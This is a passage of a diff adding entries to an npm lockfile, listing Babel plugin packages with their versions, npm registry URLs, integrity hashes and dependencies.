+            "integrity": "sha512-Dgxsyg54Fx1d4Nge8UnvTrED63vrwOdPmyvPzlNN/boaliRP54pm3pGzZD1SJUwrBA+Cs/xdG8kXX6Mn/RfISQ==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.18.9.tgz",
+            "integrity": "sha512-AHrP9jadvH7qlOj6PINbgSuphjQUAK7AOT7DPjBo9EHoLhQTnnK5u45e1Hd4DbSQEO9nqPWtQ89r+XEOWFScKg==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.9",
+                "@babel/helper-skip-transparent-expression-wrappers": "^7.18.9",
+                "@babel/plugin-proposal-optional-chaining": "^7.18.9"
+            }
+        },
+        "@babel/plugin-proposal-async-generator-functions": {
+            "version": "7.18.10",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.18.10.tgz",
+            "integrity": "sha512-1mFuY2TOsR1hxbjCo4QL+qlIjV07p4H4EUYw2J/WCqsvFV6V9X9z9YhXbWndc/4fw+hYGlDT7egYxliMp5O6Ew==",
+            "requires": {
+                "@babel/helper-environment-visitor": "^7.18.9",
+                "@babel/helper-plugin-utils": "^7.18.9",
+                "@babel/helper-remap-async-to-generator": "^7.18.9",
+                "@babel/plugin-syntax-async-generators": "^7.8.4"
+            }
+        },
+        "@babel/plugin-proposal-class-properties": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz",
+            "integrity": "sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==",
+            "requires": {
+                "@babel/helper-create-class-features-plugin": "^7.18.6",
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/plugin-proposal-class-static-block": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-static-block/-/plugin-proposal-class-static-block-7.18.6.tgz",
+            "integrity": "sha512-+I3oIiNxrCpup3Gi8n5IGMwj0gOCAjcJUSQEcotNnCCPMEnixawOQ+KeJPlgfjzx+FKQ1QSyZOWe7wmoJp7vhw==",
+            "requires": {
+                "@babel/helper-create-class-features-plugin": "^7.18.6",
+                "@babel/helper-plugin-utils": "^7.18.6",
+                "@babel/plugin-syntax-class-static-block": "^7.14.5"
+            }
+        },
+        "@babel/plugin-proposal-dynamic-import": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.18.6.tgz",
+            "integrity": "sha512-1auuwmK+Rz13SJj36R+jqFPMJWyKEDd7lLSdOj4oJK0UTgGueSAtkrCvz9ewmgyU/P941Rv2fQwZJN8s6QruXw==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6",
+                "@babel/plugin-syntax-dynamic-import": "^7.8.3"
+            }
+        },
+        "@babel/plugin-proposal-export-namespace-from": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.18.9.tgz",
+            "integrity": "sha512-k1NtHyOMvlDDFeb9G5PhUXuGj8m/wiwojgQVEhJ/fsVsMCpLyOP4h0uGEjYJKrRI+EVPlb5Jk+Gt9P97lOGwtA==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.9",
+                "@babel/plugin-syntax-export-namespace-from": "^7.8.3"
+            }
+        },
+        "@babel/plugin-proposal-json-strings": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.18.6.tgz",
+            "integrity": "sha512-lr1peyn9kOdbYc0xr0OdHTZ5FMqS6Di+H0Fz2I/JwMzGmzJETNeOFq2pBySw6X/KFL5EWDjlJuMsUGRFb8fQgQ==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6",
+                "@babel/plugin-syntax-json-strings": "^7.8.3"
+            }
+        },
+        "@babel/plugin-proposal-logical-assignment-operators": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.18.9.tgz",
+            "integrity": "sha512-128YbMpjCrP35IOExw2Fq+x55LMP42DzhOhX2aNNIdI9avSWl2PI0yuBWarr3RYpZBSPtabfadkH2yeRiMD61Q==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.9",
+                "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4"
+            }
+        },
+        "@babel/plugin-proposal-nullish-coalescing-operator": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.18.6.tgz",
+            "integrity": "sha512-wQxQzxYeJqHcfppzBDnm1yAY0jSRkUXR2z8RePZYrKwMKgMlE8+Z6LUno+bd6LvbGh8Gltvy74+9pIYkr+XkKA==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6",
+                "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3"
+            }
+        },
+        "@babel/plugin-proposal-numeric-separator": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.18.6.tgz",
+            "integrity": "sha512-ozlZFogPqoLm8WBr5Z8UckIoE4YQ5KESVcNudyXOR8uqIkliTEgJ3RoketfG6pmzLdeZF0H/wjE9/cCEitBl7Q==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6",
+                "@babel/plugin-syntax-numeric-separator": "^7.10.4"
+            }
+        },
+        "@babel/plugin-proposal-object-rest-spread": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.18.9.tgz",
+            "integrity": "sha512-kDDHQ5rflIeY5xl69CEqGEZ0KY369ehsCIEbTGb4siHG5BE9sga/T0r0OUwyZNLMmZE79E1kbsqAjwFCW4ds6Q==",
+            "requires": {
+                "@babel/compat-data": "^7.18.8",
+                "@babel/helper-compilation-targets": "^7.18.9",
+                "@babel/helper-plugin-utils": "^7.18.9",
+                "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
+                "@babel/plugin-transform-parameters": "^7.18.8"
+            }
+        },
+        "@babel/plugin-proposal-optional-catch-binding": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.18.6.tgz",
+            "integrity": "sha512-Q40HEhs9DJQyaZfUjjn6vE8Cv4GmMHCYuMGIWUnlxH6400VGxOuwWsPt4FxXxJkC/5eOzgn0z21M9gMT4MOhbw==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6",
+                "@babel/plugin-syntax-optional-catch-binding": "^7.8.3"
+            }
+        },
+        "@babel/plugin-proposal-optional-chaining": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.18.9.tgz",
+            "integrity": "sha512-v5nwt4IqBXihxGsW2QmCWMDS3B3bzGIk/EQVZz2ei7f3NJl8NzAJVvUmpDW5q1CRNY+Beb/k58UAH1Km1N411w==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.9",
+                "@babel/helper-skip-transparent-expression-wrappers": "^7.18.9",
+                "@babel/plugin-syntax-optional-chaining": "^7.8.3"
+            }
+        },
+        "@babel/plugin-proposal-private-methods": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.18.6.tgz",
+            "integrity": "sha512-nutsvktDItsNn4rpGItSNV2sz1XwS+nfU0Rg8aCx3W3NOKVzdMjJRu0O5OkgDp3ZGICSTbgRpxZoWsxoKRvbeA==",
+            "requires": {
+                "@babel/helper-create-class-features-plugin": "^7.18.6",
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/plugin-proposal-private-property-in-object": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.18.6.tgz",
+            "integrity": "sha512-9Rysx7FOctvT5ouj5JODjAFAkgGoudQuLPamZb0v1TGLpapdNaftzifU8NTWQm0IRjqoYypdrSmyWgkocDQ8Dw==",
+            "requires": {
+                "@babel/helper-annotate-as-pure": "^7.18.6",
+                "@babel/helper-create-class-features-plugin": "^7.18.6",
+                "@babel/helper-plugin-utils": "^7.18.6",
+                "@babel/plugin-syntax-private-property-in-object": "^7.14.5"
+            }
+        },
+        "@babel/plugin-proposal-unicode-property-regex": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.18.6.tgz",
+            "integrity": "sha512-2BShG/d5yoZyXZfVePH91urL5wTG6ASZU9M4o03lKK8u8UW1y08OMttBSOADTcJrnPMpvDXRG3G8fyLh4ovs8w==",
+            "requires": {
+                "@babel/helper-create-regexp-features-plugin": "^7.18.6",
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/plugin-syntax-async-generators": {
+            "version": "7.8.4",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz",
+            "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.8.0"
+            }
+        },
+        "@babel/plugin-syntax-class-properties": {
+            "version": "7.12.13",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz",
+            "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.12.13"
+            }
+        },
+        "@babel/plugin-syntax-class-static-block": {
+            "version": "7.14.5",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz",
+            "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.14.5"
+            }
+        },
+        "@babel/plugin-syntax-dynamic-import": {
+            "version": "7.8.3",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz",
+            "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.8.0"
+            }
+        },
+        "@babel/plugin-syntax-export-namespace-from": {
+            "version": "7.8.3",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz",
+            "integrity": "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.8.3"
+            }
+        },
+        "@babel/plugin-syntax-import-assertions": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.18.6.tgz",
+            "integrity": "sha512-/DU3RXad9+bZwrgWJQKbr39gYbJpLJHezqEzRzi/BHRlJ9zsQb4CK2CA/5apllXNomwA1qHwzvHl+AdEmC5krQ==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/plugin-syntax-json-strings": {
+            "version": "7.8.3",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz",
+            "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.8.0"
+            }
+        },
+        "@babel/plugin-syntax-jsx": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.18.6.tgz",
+            "integrity": "sha512-6mmljtAedFGTWu2p/8WIORGwy+61PLgOMPOdazc7YoJ9ZCWUyFy3A6CpPkRKLKD1ToAesxX8KGEViAiLo9N+7Q==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/plugin-syntax-logical-assignment-operators": {
+            "version": "7.10.4",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz",
+            "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.10.4"
+            }
+        },
+        "@babel/plugin-syntax-nullish-coalescing-operator": {
+            "version": "7.8.3",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz",
+            "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.8.0"
+            }
+        },
+        "@babel/plugin-syntax-numeric-separator": {
+            "version": "7.10.4",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz",
+            "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.10.4"
+            }
+        },
+        "@babel/plugin-syntax-object-rest-spread": {
+            "version": "7.8.3",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz",
+            "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.8.0"
+            }
+        },
+        "@babel/plugin-syntax-optional-catch-binding": {
+            "version": "7.8.3",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz",
+            "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.8.0"
+            }
+        },
+        "@babel/plugin-syntax-optional-chaining": {
+            "version": "7.8.3",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz",
+            "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.8.0"
+            }
+        },
+        "@babel/plugin-syntax-private-property-in-object": {
+            "version": "7.14.5",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz",
+            "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.14.5"
+            }
+        },
+        "@babel/plugin-syntax-top-level-await": {
+            "version": "7.14.5",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz",
+            "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.14.5"
+            }
+        },
+        "@babel/plugin-syntax-typescript": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.18.6.tgz",
+            "integrity": "sha512-mAWAuq4rvOepWCBid55JuRNvpTNf2UGVgoz4JV0fXEKolsVZDzsa4NqCef758WZJj/GDu0gVGItjKFiClTAmZA==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/plugin-transform-arrow-functions": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.18.6.tgz",
+            "integrity": "sha512-9S9X9RUefzrsHZmKMbDXxweEH+YlE8JJEuat9FdvW9Qh1cw7W64jELCtWNkPBPX5En45uy28KGvA/AySqUh8CQ==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/plugin-transform-async-to-generator": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.18.6.tgz",
+            "integrity": "sha512-ARE5wZLKnTgPW7/1ftQmSi1CmkqqHo2DNmtztFhvgtOWSDfq0Cq9/9L+KnZNYSNrydBekhW3rwShduf59RoXag==",
+            "requires": {
+                "@babel/helper-module-imports": "^7.18.6",
+                "@babel/helper-plugin-utils": "^7.18.6",
+                "@babel/helper-remap-async-to-generator": "^7.18.6"
+            }
+        },
+        "@babel/plugin-transform-block-scoped-functions": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.18.6.tgz",
+            "integrity": "sha512-ExUcOqpPWnliRcPqves5HJcJOvHvIIWfuS4sroBUenPuMdmW+SMHDakmtS7qOo13sVppmUijqeTv7qqGsvURpQ==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/plugin-transform-block-scoping": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.18.9.tgz",
+            "integrity": "sha512-5sDIJRV1KtQVEbt/EIBwGy4T01uYIo4KRB3VUqzkhrAIOGx7AoctL9+Ux88btY0zXdDyPJ9mW+bg+v+XEkGmtw==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.9"
+            }
+        },
+        "@babel/plugin-transform-classes": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.18.9.tgz",
+            "integrity": "sha512-EkRQxsxoytpTlKJmSPYrsOMjCILacAjtSVkd4gChEe2kXjFCun3yohhW5I7plXJhCemM0gKsaGMcO8tinvCA5g==",
+            "requires": {
+                "@babel/helper-annotate-as-pure": "^7.18.6",
+                "@babel/helper-environment-visitor": "^7.18.9",
+                "@babel/helper-function-name": "^7.18.9",
+                "@babel/helper-optimise-call-expression": "^7.18.6",
+                "@babel/helper-plugin-utils": "^7.18.9",
+                "@babel/helper-replace-supers": "^7.18.9",
+                "@babel/helper-split-export-declaration": "^7.18.6",
+                "globals": "^11.1.0"
+            }
+        },
+        "@babel/plugin-transform-computed-properties": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.18.9.tgz",
+            "integrity": "sha512-+i0ZU1bCDymKakLxn5srGHrsAPRELC2WIbzwjLhHW9SIE1cPYkLCL0NlnXMZaM1vhfgA2+M7hySk42VBvrkBRw==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.9"
+            }
+        },
+        "@babel/plugin-transform-destructuring": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.18.9.tgz",
+            "integrity": "sha512-p5VCYNddPLkZTq4XymQIaIfZNJwT9YsjkPOhkVEqt6QIpQFZVM9IltqqYpOEkJoN1DPznmxUDyZ5CTZs/ZCuHA==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.9"
+            }
+        },
+        "@babel/plugin-transform-dotall-regex": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.18.6.tgz",
+            "integrity": "sha512-6S3jpun1eEbAxq7TdjLotAsl4WpQI9DxfkycRcKrjhQYzU87qpXdknpBg/e+TdcMehqGnLFi7tnFUBR02Vq6wg==",
+            "requires": {
+                "@babel/helper-create-regexp-features-plugin": "^7.18.6",
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/plugin-transform-duplicate-keys": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.18.9.tgz",
+            "integrity": "sha512-d2bmXCtZXYc59/0SanQKbiWINadaJXqtvIQIzd4+hNwkWBgyCd5F/2t1kXoUdvPMrxzPvhK6EMQRROxsue+mfw==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.9"
+            }
+        },
+        "@babel/plugin-transform-exponentiation-operator": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.18.6.tgz",
+            "integrity": "sha512-wzEtc0+2c88FVR34aQmiz56dxEkxr2g8DQb/KfaFa1JYXOFVsbhvAonFN6PwVWj++fKmku8NP80plJ5Et4wqHw==",
+            "requires": {
+                "@babel/helper-builder-binary-assignment-operator-visitor": "^7.18.6",
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/plugin-transform-for-of": {
+            "version": "7.18.8",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.18.8.tgz",
+            "integrity": "sha512-yEfTRnjuskWYo0k1mHUqrVWaZwrdq8AYbfrpqULOJOaucGSp4mNMVps+YtA8byoevxS/urwU75vyhQIxcCgiBQ==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/plugin-transform-function-name": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.18.9.tgz",
+            "integrity": "sha512-WvIBoRPaJQ5yVHzcnJFor7oS5Ls0PYixlTYE63lCj2RtdQEl15M68FXQlxnG6wdraJIXRdR7KI+hQ7q/9QjrCQ==",
+            "requires": {
+                "@babel/helper-compilation-targets": "^7.18.9",
+                "@babel/helper-function-name": "^7.18.9",
+                "@babel/helper-plugin-utils": "^7.18.9"
+            }
+        },
+        "@babel/plugin-transform-literals": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.18.9.tgz",
+            "integrity": "sha512-IFQDSRoTPnrAIrI5zoZv73IFeZu2dhu6irxQjY9rNjTT53VmKg9fenjvoiOWOkJ6mm4jKVPtdMzBY98Fp4Z4cg==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.9"
+            }
+        },
+        "@babel/plugin-transform-member-expression-literals": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.18.6.tgz",
+            "integrity": "sha512-qSF1ihLGO3q+/g48k85tUjD033C29TNTVB2paCwZPVmOsjn9pClvYYrM2VeJpBY2bcNkuny0YUyTNRyRxJ54KA==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/plugin-transform-modules-amd": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.18.6.tgz",
+            "integrity": "sha512-Pra5aXsmTsOnjM3IajS8rTaLCy++nGM4v3YR4esk5PCsyg9z8NA5oQLwxzMUtDBd8F+UmVza3VxoAaWCbzH1rg==",
+            "requires": {
+                "@babel/helper-module-transforms": "^7.18.6",
+                "@babel/helper-plugin-utils": "^7.18.6",
+                "babel-plugin-dynamic-import-node": "^2.3.3"
+            }
+        },
+        "@babel/plugin-transform-modules-commonjs": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.18.6.tgz",
+            "integrity": "sha512-Qfv2ZOWikpvmedXQJDSbxNqy7Xr/j2Y8/KfijM0iJyKkBTmWuvCA1yeH1yDM7NJhBW/2aXxeucLj6i80/LAJ/Q==",
+            "requires": {
+                "@babel/helper-module-transforms": "^7.18.6",
+                "@babel/helper-plugin-utils": "^7.18.6",
+                "@babel/helper-simple-access": "^7.18.6",
+                "babel-plugin-dynamic-import-node": "^2.3.3"
+            }
+        },
+        "@babel/plugin-transform-modules-systemjs": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.18.9.tgz",
+            "integrity": "sha512-zY/VSIbbqtoRoJKo2cDTewL364jSlZGvn0LKOf9ntbfxOvjfmyrdtEEOAdswOswhZEb8UH3jDkCKHd1sPgsS0A==",
+            "requires": {
+                "@babel/helper-hoist-variables": "^7.18.6",
+                "@babel/helper-module-transforms": "^7.18.9",
+                "@babel/helper-plugin-utils": "^7.18.9",
+                "@babel/helper-validator-identifier": "^7.18.6",
+                "babel-plugin-dynamic-import-node": "^2.3.3"
+            }
+        },
+        "@babel/plugin-transform-modules-umd": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.18.6.tgz",
+            "integrity": "sha512-dcegErExVeXcRqNtkRU/z8WlBLnvD4MRnHgNs3MytRO1Mn1sHRyhbcpYbVMGclAqOjdW+9cfkdZno9dFdfKLfQ==",
+            "requires": {
+                "@babel/helper-module-transforms": "^7.18.6",
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/plugin-transform-named-capturing-groups-regex": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.18.6.tgz",
+            "integrity": "sha512-UmEOGF8XgaIqD74bC8g7iV3RYj8lMf0Bw7NJzvnS9qQhM4mg+1WHKotUIdjxgD2RGrgFLZZPCFPFj3P/kVDYhg==",
+            "requires": {
+                "@babel/helper-create-regexp-features-plugin": "^7.18.6",
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/plugin-transform-new-target": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.18.6.tgz",
+            "integrity": "sha512-DjwFA/9Iu3Z+vrAn+8pBUGcjhxKguSMlsFqeCKbhb9BAV756v0krzVK04CRDi/4aqmk8BsHb4a/gFcaA5joXRw==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/plugin-transform-object-super": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.18.6.tgz",
+            "integrity": "sha512-uvGz6zk+pZoS1aTZrOvrbj6Pp/kK2mp45t2B+bTDre2UgsZZ8EZLSJtUg7m/no0zOJUWgFONpB7Zv9W2tSaFlA==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6",
+                "@babel/helper-replace-supers": "^7.18.6"
+            }
+        },
+        "@babel/plugin-transform-parameters": {
+            "version": "7.18.8",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.18.8.tgz",
+            "integrity": "sha512-ivfbE3X2Ss+Fj8nnXvKJS6sjRG4gzwPMsP+taZC+ZzEGjAYlvENixmt1sZ5Ca6tWls+BlKSGKPJ6OOXvXCbkFg==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/plugin-transform-property-literals": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.18.6.tgz",
